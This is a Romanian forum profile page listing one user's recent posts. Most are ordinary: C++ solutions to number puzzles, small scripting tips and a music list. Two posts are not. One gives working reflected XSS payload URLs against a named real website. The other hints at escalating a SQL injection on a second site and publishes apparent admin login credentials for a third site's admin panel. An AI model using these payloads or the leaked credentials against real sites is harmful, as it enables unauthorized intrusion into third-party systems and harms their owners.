Jump to content

tw8

Active Members
  • Posts

    481
  • Joined

  • Last visited

  • Days Won

    1

tw8 last won the day on November 15 2008

tw8 had the most liked content!

Converted

  • Location
    Drobeta Turnu Severin

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

tw8's Achievements

Newbie

Newbie (1/14)

10

Reputation

  1. tw8

    PI

    ^ Tocmai rezolvase cineva mai sus. Si eu l-am rezolvat, in 33 de secunde . Folosind Google, se poate chiar mai repede, pentru ca nu mai gandesti deloc.
  2. Desi corect, codul lui begood este destul de incet: 8.5 secunde imi ia mie pe un Pentium M @ 1600 MHz. O solutie mult mai rapida este folosirea unui ciur pentru generarea numerelor prime la inceput. Astfel, se obtine un timp de rulare de 0.04 secunde - de 200 si ceva de ori mai rapid ca cel de mai sus . Cam asa ar arata codul: #include <iostream> #define eprim !NP #define DIM 1000000 bool NP[DIM]; using namespace std; void ciur() { for(int i=3;i<DIM;i+=2) if(eprim[i])for(int j=2*i;j<DIM;j+=i)NP[j]=1; } bool e14(int nr) { int c=14; while(nr&&c>=0)c-=nr%10,nr/=10; return !c; } int main() { ciur(); int c=0; for(int i=3;i<DIM;i+=2) if(eprim[i]&&e14(i))c++; cout<<c; } L.E.: Am uitat sa specific. Se pot elimina foarte multe cazuri daca ne gandim ca numerele divizibile cu 3 nu trebuiesc luate in calcul, pentru ca suma cifrelor lor nu poate fi 14 .
  3. Ai gresit la C(30,12). Daca tii neaparat sa faci prin metoda asta, atunci C(30,12) ar fi 3 * 7 * 13 * 19 * 23 * 25 * 29. Totusi, e mult mai la indemana sa folosesti WolframAlpha pentru asta sau chiar calculatorul de la Windows . Rezultatul este, dupa cum a spus si Hertz, -86454177.
  4. Folosindu-ne de inversa functiei H(n), putem lua doar numerele divizibile cu 232792560 - adica cel mai mic multiplu comun al numerelor de la 1 la 20 - si sa verificam daca sunt hexagonale. Asta scuteste de o gramada de calcule inutile . Rezultatul programului meu: Numarul #1: H(1348848) = 3638780505360 Numarul #2: H(5925920) = 70233049766880 Numarul #3: H(7274768) = 105844491632880 Numarul #4: H(8751600) = 153180996368400 Numarul #5: H(9267440) = 171770879039760 Numarul #6: H(11099088) = 246379497764400 Numarul #7: H(11309760) = 255821331205440 Numarul #8: H(12093120) = 292487090575680 Numarul #9: H(14440608) = 417062304378720 Numarul #10: H(14651280) = 429319996625520 Numarul #11: H(17127968) = 586734558490080 Numarul #12: H(17338640) = 601256856760560 Numarul #13: H(18019040) = 649371587024160 Numarul #14: H(19686128) = 775087251578640 Numarul #15: H(20577200) = 846842299102800 Numarul #16: H(22511808) = 1013562976345920 Numarul #17: H(23192208) = 1075757000638320 Numarul #18: H(23402880) = 1095389561185920 Numarul #19: H(25750368) = 1326162878520480 Numarul #20: H(28437728) = 1617408719166240 Numarul #21: H(30430400) = 1852018457889600 Numarul #22: H(31779248) = 2019841175111760 Numarul #23: H(33256080) = 2211933680676720 Numarul #24: H(35603568) = 2535228073057680 Numarul #25: H(35814240) = 2565319537740960 Numarul #26: H(36494640) = 2663717460964560 Numarul #27: H(39182000) = 3070458208818000 Numarul #28: H(41740160) = 3484481871911040 Numarul #29: H(42523520) = 3616499463857280 Numarul #30: H(44355168) = 3934761812261280 Numarul #31: H(44565840) = 3972228145245360 Numarul #32: H(45081680) = 4064715698163120 Numarul #33: H(46913328) = 4401720641157840 Numarul #34: H(47696688) = 4549948044642000 Numarul #35: H(47907360) = 4590230236431840 Numarul #36: H(50254848) = 5051099444751360 Numarul #37: H(52942208) = 5605754722888320 Numarul #38: H(53833280) = 5796044017283520 Numarul #39: H(57657600) = 6648797617862400 Numarul #40: H(59006448) = 6963521752146960 Numarul #41: H(60999120) = 7441785220549680 Numarul #42: H(63686480) = 8111935405894320 Numarul #43: H(66244640) = 8776704591214560 Numarul #44: H(68859648) = 9483302176508160 Numarul #45: H(69070320) = 9541418140734480 Numarul #46: H(69750720) = 9730325811286080 Numarul #47: H(71417808) = 10201006527631920 Numarul #48: H(72308880) = 10457148181399920 Numarul #49: H(74996240) = 11248871953278960 Numarul #50: H(78337760) = 12273609205297440 Numarul #51: H(80169408) = 12854267877971520 Numarul #52: H(82162080) = 13501214697690720 Numarul #53: H(83510928) = 13948150107331440 Numarul #54: H(88834928) = 15783288776695440 Numarul #55: H(90913680) = 16530594331371120 Numarul #56: H(93471840) = 17473969652499360 Numarul #57: H(94255200) = 17768085359824800 Numarul #58: H(96813360) = 18745653252165840 Numarul #59: H(99500720) = 19800786461536080 In total, exista 59 numere!
  5. @AlStar: In primul rand, programul tau are o greseala evidenta, si anume considera doar numerele care pot fi scrise ca suma dintre 1 si un cub, din cauza conditiei de oprire . In al doilea rand, chiar daca ii repari aceasta greseala - foarte usor de reparat - mai e ceva. Iei de mai multe ori in vedere aceleasi numar, in cazul in care poate fi scris in mai multe moduri ca suma de cub si patrat. Spre exemplu, numarul 17 poate fi scris ca : 16 + 1 = 4^2 + 1^3 9 + 8 = 3^2 + 2^3 Si, nu in ultimul rand, ai un cod foarte neeficient din punct de vedere al timpului de executie. Un cod mult mai rapid - si functional - este: #include <iostream> #define DIM 100000 bool trecut[DIM]; int main() { int P=1,C,j,s=0; for(int i=1;P<DIM;P+=2*i+1,i++) for(C=j=1;P+C<DIM;C+=3*j*(j+1)+1,j++) if(!trecut[P+C]){trecut[P+C]=true,s+=P+C;} std::cout<<s; } In concluzie ... codul de mai sus ruleaza instantaneu chiar si pentru numere de pana la 10 milioane - desigur, daca s este definit ca long long in loc de int cum am eu in program, ca sa poate intra in memorie - si in plus, da si raspunsul corect: 502682822. Bafta!
  6. Hai sa vin si eu cu 5 melodii: Nimeni Altu - Asa raman Nimeni Altu - Lautarul din beci Vita de Vie - Varza Vita de Vie & Parazitii - Beat mort CTC - Interzis nefumatorilor Sunt intr-o ordine complet intamplatoare. De asemenea, as mai putea adauga inca cel putin 100 de melodii, dar chiar n-am chef .
  7. Reparati si voi vulnerabilitatile: http://www.black-zero.com/modules.php?name=Tutorials&t_op=viewtutorial&tc_id="><script>alert(String.fromCharCode(88,83,83,32,45,32,98,121,32,116,119,56))</script> http://www.black-zero.com/modules.php?name=Tutorials</title><script>alert(String.fromCharCode(88,83,83,32,45,32,98,121,32,116,119,56))</script> Mai sunt multe altele.
  8. ^ La compass.ro poti transforma SQLI-ul ala in alta vulnerabilitate - te las sa iti dai seama cum pentru ca gandirea nu strica niciodata. La celalalt, http://www.city-mall.ro/_admin/ , admin:george. Bafta .
  9. tw8

    AutoIT - modulo

    ^ E ok cu mod, doar ca o apelezi ca pe o functie obisnuita: msgbox(0,"",mod(13, 3))
  10. tw8

    C#

    Pentru sfarsit, in loc sa cauti dupa "))", poti cauta dupa "))\r\n", adica "))"+enter.
  11. Cu toate ca e reclama, am intrat pe site si pot sa zic ca e super. Are o gramada de carti folositoare. Merci de link .
  12. Sterge linia pe care iti da eroare si o sa iti mearga. P.S.: Cred ca nu strica sa iti iei un compilator mai nou.
  13. Cam prostesc . Faci niste operatii in plus degeaba. Puteai folosii count: for($i=0;i<count($ex);$i++) P.S.: Sper sa o iei ca pe un sfat, nu ca pe un repros .
  14. Doar de curiozitate ... ce dracu s-a intamplat cu bugurile inregistrate de mine ? Vad ca mi-au disparut si punctele (din aprox 10^3, mai am doar 520) .
×
×
  • Create New...